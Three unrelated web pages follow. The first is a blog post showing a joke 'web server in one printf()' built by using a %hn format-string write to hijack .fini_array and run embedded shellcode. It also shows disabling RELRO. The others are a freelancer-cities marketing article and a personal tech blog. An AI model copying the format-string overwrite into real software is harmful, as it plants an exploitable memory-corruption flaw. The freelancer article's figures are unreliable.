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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-24558 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://ruul.io/blog/the-best-cities-to-work-in-the-world-as-a-freelancer | The best cities to work in the world as a freelancer - Ruul Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up work Best Cities for Freelancers and Self-Employed People Discover the top 10 best cities for digital nomads and freelancers to live and work remotely. Learn about the most critical metrics you should consider when choosing a city to work in. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Freelancing is appealing to everyone when compared to the classic 9-5 jobs. Flexible working hours, running your own business, working comfortably at home... Or remote working has also been on the rise recently. Although working hours are certain, employers like to evaluate positions that can work from home. Both the employee and the employer can save both cost and time. But as with any job, working remotely or freelancing has its own difficulties. Yes, you are freer than regular employers, since you can work anywhere anytime if you have your laptop. But you should still consider some features. How is the internet speed? Which regions do other freelancers prefer the most? Why should or should not go there? Here is well-researched information concerning the best cities for freelancers and self-employed people to work from. Where Can I Work as a Freelancer? Usually, companies have websites where they post job descriptions for hiring freelancers. You can apply to various organizations through these sites and get a chance to work for them. Or, depending on your profession or skill, you can also take on short-term one-off projects. For this, there are freelancer websites that bring you together with the customer. Some areas where you can work as a freelancer include data entry, virtual assistance, customer service, graphic design, translation, video editing, voice-over or marketing. Factors Freelancers and Business Owners Consider Before Moving to Other Cities According to a census done in 2021, the US noted that the number of freelancers and self-employed individuals rose from 5.8% to 6.1% within three years. Therefore, freelancing and self-employment are profitable and give you the freedom to move from one area to another. Typically, most freelancers consider these factors before moving to other cities: Budget: Freelancers majorly check on the cost of living since it impacts your money. Typically, in freelancing and self-employment, your income fluctuates a lot. It means there will be times when you have a good income while others do not. The taxes of the state: A city with a good economy favors your returns as a business owner and vice versa. As for taxes, you can evaluate the taxes when moving to a city that charges fewer taxes to maximize your income or save more money. Network and internet connection: Internet access is key when working remotely. Besides internet access, the speed is also the thing you should check before moving. Security: Before moving to a new town to open a business, ensure the place is safe from any attacks. Family and personal needs: Self-employed individuals must plan how they will pay various expenses for family needs such as child support, rent, WIFI, elder care, and other essentials. 10 Best Cities for Freelancers and Self-employed People Considering the above factors, what to consider before leaving for another city is clear. Nonetheless, below are some of the best cities for digital nomads and potential business owners: New York New York has always been a magnet for dreamers and business. Walk down any street and you'll see a freelancer with a laptop taking over cafes. There's a real freelance work environment here. New York isn't a cheap place, but with so many high-paying freelance businesses, you can actually make it work. Plus, the internet speed here is perfect for uploading files or video conferencing with clients. Los Angeles This city has a way of turning ordinary people into creative powerhouses. For example, you can hear stories of baristas who become filmmakers, and coders who do side jobs as DJs. And there is data to support it. Recent research by Fundera ranked Los Angeles 12th among the best cities to start a career for freelancers and building a career. Plus, if you're thinking about going solo and owning your own business, there are tons of support systems and programs to help you get started. To be fair, Los Angeles is not exactly budget-friendly. You may need to set aside a generous budget for housing and taxes. Therefore, if you are going to become a freelancer here, you should realistically assess and decide on your budget, your business and your potential. If you have talent and determination, this city can be your biggest chance and supporter. Nashville Nashville is famous for its country music and Southern glamor, but it has also become a home for many freelancers. In fact, it will surprise you that almost half of the city is freelancers. The environment here is extremely friendly and welcoming for freelancers. There are lots of great workspaces for freelancers. If freelance life inspires you to take the step and start your own business, Nashville has your back. There are tons of affordable office spaces where you can turn your dream into reality. Tucson (Arizona) Tucson is a rising freelance city in the southwest part of Arizona. The rise of freelancers is due to the presence of the University of Arizona. The town is ideal since various researchers have realized its rising job growth and increase in self-employment. In terms of cost of living, Tucson is very reasonable thanks to affordable internet, housing and low taxes. This is obviously a huge advantage for freelancers and business owners. Atlanta (Georgia) The economy of this city is growing thanks to the many cultural events and its rising popularity. That's why Atlanta is one of the best places for freelancers to live. The freelancing environment is very convenient and there are always new opportunities. Basic necessities like housing only account for 21% of most business owners' income here. This is a pretty good rate. The cost of living in general may be a little higher than average, but for freelancers who have started earning well, Atlanta can be very budget-friendly. More than 11% of Atlanta is already made up of freelancers, and that number is growing. There is truly a freelance community here. Miami Miami is one of the recent cities in the US whose freelance activities emerged in 2022. During this year, most companies still have an issue with the government concerning the high tax rates. This led to company employees looking for better ways to earn money. Therefore, they took an interest in self-employment and freelancing. Miami has lowered its taxes, has a reasonable housing market, and has a friendly freelance working environment. Additionally, the cost of living is average, and AT&T provides one of the highest internet speeds of 262.38Mbps. Can you work as a freelancer or set up a business in Miami? This is possible since Miami has created an environment that favors both individuals. Las Vegas Las Vegas is not the first workplace for freelancers one might think to be a hub for the freelance community. Even though it can favor business owners, most individuals believe freelancers can't survive in such a city. However, the number of freelancers and business owners in that city has increased. Additionally, the state doesn't tax all Nevadans. Even though Las Vegas is a potential place to live, it can be distracting depending on your line of work. Oakland Oakland is a Californian city known to have excelled in its economic status and arts. The availability of both remote and in-office jobs makes the city one of the best places for freelancers to live. These business spaces do favor for both freelancers and self-employed. The city is one of the best places for digital nomads who wish to advance their freelancing careers. The city is investing in current technology and providing a high standard of living when thinking about the affordability of living. Austin Austin is nicknamed one of the top digital nomad destinations that offers legitimate opportunities to freelancers. Recently, a team of freelancers made a total of 20 billion, showing that the state is a hub for freelancers. Although the population is very high, the state still excels as one of the best freelance locations. Regarding the convenience of living, Austin is known for reasonably priced housing and efficient internet providers. Oregon (Portland) Over the past few years, Portland has encouraged a robust freelance culture where companies offer sustainable job opportunities to them. As for the business owners, a favorable economy enables them to maximize profits while reducing expenditure. The availability of restaurants and coffee shops helps serve both communities' needs. One drawback of the city is that it has relatively expensive taxes and prices of goods. However, if you believe you will get good job opportunities, you will enjoy staying in Portland. Which Country Has Most Freelancers? Countries like the UK and the US typically offer freelancers a pool of online opportunities. Therefore, you will find more freelancers in the above countries since the marketplace offers a sizable opportunity for them. Other areas where more freelancers provide their skills to the global market are the Philippines, Brazil, Ukraine, India, and Pakistan. Wrapping Up Having an ideal place to start your freelancing career is very crucial. Typically, there are essential factors to consider before moving to another city. Such factors include internet level and cost of living in general. It is also crucial that you have a freelancer visa and other related documents since other states require them. Once you move to the city of choice, hire a platform to monitor your invoices once you get clients. One such platform is Ruul. Ruul ensures that your clients pay invoices on time and in the right amount. Therefore, it creates a good relationship between you and the client. ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul. After graduating Boston College with finance and economics degrees, she began her career as a Finance Executive. Prior to Ruul, she held managerial positions in finance and marketing. Esen's entrepreneurship success earned her recognition in Fortune's 40 under 40 list in 2022. More How to politely ask clients for late payments (5 email samples) Is your customer taking a long time to pay? Learn how to ask for payments professionally. Read more Top Merchant of Record Platforms for Freelancers in 2025 Discover top Merchant of Record platforms for freelancers in 2025. Simplify global payments, taxes, and subscriptions. Read more How to Stay Focused While Working? As a freelancer, eliminating distractions and keeping focused during your work might be tricky, especially if you are working from home. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? 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http://ceestimmerman.blogspot.nl/ | Cees's Blog Cees's Blog Highlight 2026-01-09 Everything you need to know about Unicode in Perl on Windows I've now solved the display issue by making my Perl script change the codepage to 65001 just like CMD's `dir` does: use feature ":5.16"; # Include say and Unicode string functions. use open ':std', ':encoding(UTF-8)'; # Print Unicode without complaining about wide chars. use utf8; # Unicode source code. use strict; # Don't ignore undefined variables. use Win32::Console; Win32::Console::OutputCP(65001); # Tell Windows Terminal to render Unicode (with unclustered graphemes in 1.23.13503.0 but they copy/paste ok). my $file_name = "emoji_🎅🎉😀💢👩🏾‍🚀.txt"; say "Writing to ${file_name}"; open( my $fh, ">", $file_name ) or die "Can't write $file_name: $!"; binmode($fh, ":encoding(UTF-8)"); # encoding() also checks UTF-8 validity, unlike ":utf8". say $fh "My name is \"$file_name\"."; close($fh); say "Reading ${file_name}"; open( $fh, " This won't affect the codepage of the terminal after, just like `dir`: And despite the female black astronaut not rendering as a single character, it copy/pastes just fine: 15:23:45 C:\apps\StrawberryPerl\perl\bin>chcp Active code page: 850 15:23:50 C:\apps\StrawberryPerl\perl\bin>perl C:\Users\C\Documents\code\Perl\test_unicode.pm Writing to emoji_🎅🎉😀💢👩🏾‍🚀.txt Reading emoji_🎅🎉😀💢👩🏾‍🚀.txt My name is "emoji_🎅🎉😀💢👩🏾‍🚀.txt". Done. 15:23:53 C:\apps\StrawberryPerl\perl\bin>chcp Active code page: 850 Unfortunately, writing the emoji file name only appears to work correctly inside a shell inside VS Code; not inside a shell inside Windows Terminal 1.23.13503.0: Newer languages like Python do work. file_name = "emoji_🎅🎉😀💢👩🏾‍🚀.py.txt" print(f"Writing to {file_name}") with open(file_name, "w", encoding="utf8") as f: f.write(f"My name is \"{file_name}\".") print(f"Reading {file_name}") with open(file_name, "r", encoding="utf8") as f: print(f.read()) print("Done.") Posted by Cees Timmerman at 15:52 No comments: Email This BlogThis! Share to X Share to Facebook Share to Pinterest Labels: code , console , emoji , file , grapheme clusters , graphemes , io , perl , print , Python , read , surrogates , terminal , unicode , utf16le , utf8 , windows , write 2025-11-05 GPG - GNU Privacy Guard GPG is an open source version of PGP - Pretty Good Privacy - which uses public-private key pairs to sign hashes or encrypt content to verify integrity and origin. Today with help from ChatGPT I finally used it in Git Bash on Windows 11 to verify the Cygwin installer in order to install GCC to compile the backend for Grafana to test a patch for a label regression in 1.6. (Update: I'll just make run in GNU/Linux.) First inspect and remember the public keys, lest you get "gpg: Can't check signature: No public key": C@MSI MINGW64 ~/Documents/code/GitHub/grafana (main) $ gpg --show-keys "C:\Users\C\Downloads\cygwin_pubring.asc.txt" pub dsa1024 2008-06-13 [SC] [expired: 2022-09-03] 1169DF9F22734F743AA59232A9A262FF676041BA uid Cygwin <cygwin@cygwin.com> sub elg1024 2008-06-13 [E] [expired: 2022-09-03] gpg: WARNING: No valid encryption subkey left over. pub rsa4096 2020-02-27 [SC] [expires: 2027-02-27] 56405CF6FCC81574682A5D561A698DE9E2E56300 uid Cygwin <cygwin@cygwin.com> C@MSI MINGW64 ~/Documents/code/GitHub/grafana (main) $ gpg --import "C:\Users\C\Downloads\cygwin_pubring.asc.txt" gpg: /c/Users/C/.gnupg/trustdb.gpg: trustdb created gpg: key A9A262FF676041BA: public key "Cygwin <cygwin@cygwin.com>" imported gpg: key 1A698DE9E2E56300: public key "Cygwin <cygwin@cygwin.com>" imported gpg: Total number processed: 2 gpg: imported: 2 gpg: no ultimately trusted keys found GPG is just noting that the encryption subkey [E] has expired. Key capabilities: Letter Meaning Description S Sign Used to create digital signatures — for signing messages or files (like the .sig file from Cygwin). C Certify Used to sign other keys — e.g. when one key "certifies" that another key belongs to someone (building the “web of trust”). Usually part of the primary key’s role. E Encrypt Used to encrypt data so only the matching private key can decrypt it. Typically found on a subkey. A Authenticate Used to prove identity in secure communication (e.g. SSH or email authentication). Not common on signing keys for software releases. Then verify the signature of the executable: C@MSI MINGW64 ~/Documents/code/GitHub/grafana (main) $ gpg --keyid-format=long --with-fingerprint --verify /C/Users/C/Downloads/setup-x86_64.exe.sig /C/Users/C/Downloads/setup-x86_64.exe gpg: Signature made Thu, May 22, 2025 4:49:21 PM WEDT gpg: using RSA key 56405CF6FCC81574682A5D561A698DE9E2E56300 gpg: Good signature from "Cygwin <cygwin@cygwin.com>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: 5640 5CF6 FCC8 1574 682A 5D56 1A69 8DE9 E2E5 6300 Posted by Cees Timmerman at 16:10 2 comments: Email This BlogThis! Share to X Share to Facebook Share to Pinterest Labels: authentication , encryption , gpg , integrity , pgp , privacy , security , trust , validation 2025-10-13 Is the USA ok? YouTube and/or some people who don't like serious conversations tends to disappear comments, so here's a copy of one with links to sources: It appears that not a day goes by in the USA without somebody shooting multiple people, hence my question since people seem tired of talking about them. According to a 2012 Guardian article on gun homicides , the average per 100k people gun homicide rate was 4.9 globally, 3.0 for the US, and 0.4 for Europe (not counting Kosovo, Montenegro, and Russia due to missing data). In for example 1956 when US schools had gun safety classes , Wikipedia only lists a page for Asia . 1954 had one mass shooting in the US Capitol though. The total US population, including Armed Forces overseas, was about 162,414,000 on July 1, 1954, based on the 1950 Census . 1/162,414,000*100,000 = 0.0006 mass shootings (which includes school shootings) per 100k people. In 2024 however, with only 340.1 million people , there were 586 mass shootings according to Wikipedia , so 586 / 340.1e6 * 100000 = 0.1723 per 100k people. A 280 times increase. Meanwhile, less kinetically energetic pollution is causing about one human megadeath per year . Posted by Cees Timmerman at 18:41 No comments: Email This BlogThis! Share to X Share to Facebook Share to Pinterest Labels: gun violence , safety , security , statistics , USA 2024-11-20 Popping speakers instead of expected audio If your speakers pop (#NotAllSpeakers do, like my 1990s Target ones that unfortunately fell to their death.) like my Logitech that spent more money on excessive bass than buffering input power or whatever, make sure it doesn't sleep (D3) in Windows 11. By setting the right \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class key descendant's PerformanceIdleTime value to data 00 00 00 00 , and perhaps value IdlePowerState as well, preventing power toggles and cut audio. Credit to TenForums . Start regedit, paste the key, Ctrl+F, paste value, find next value, confirm DriverDesc description in parent key, and modify PowerSettings data, or save and execute this audio_pop_fix.reg : Windows Registry Editor Version 5.00 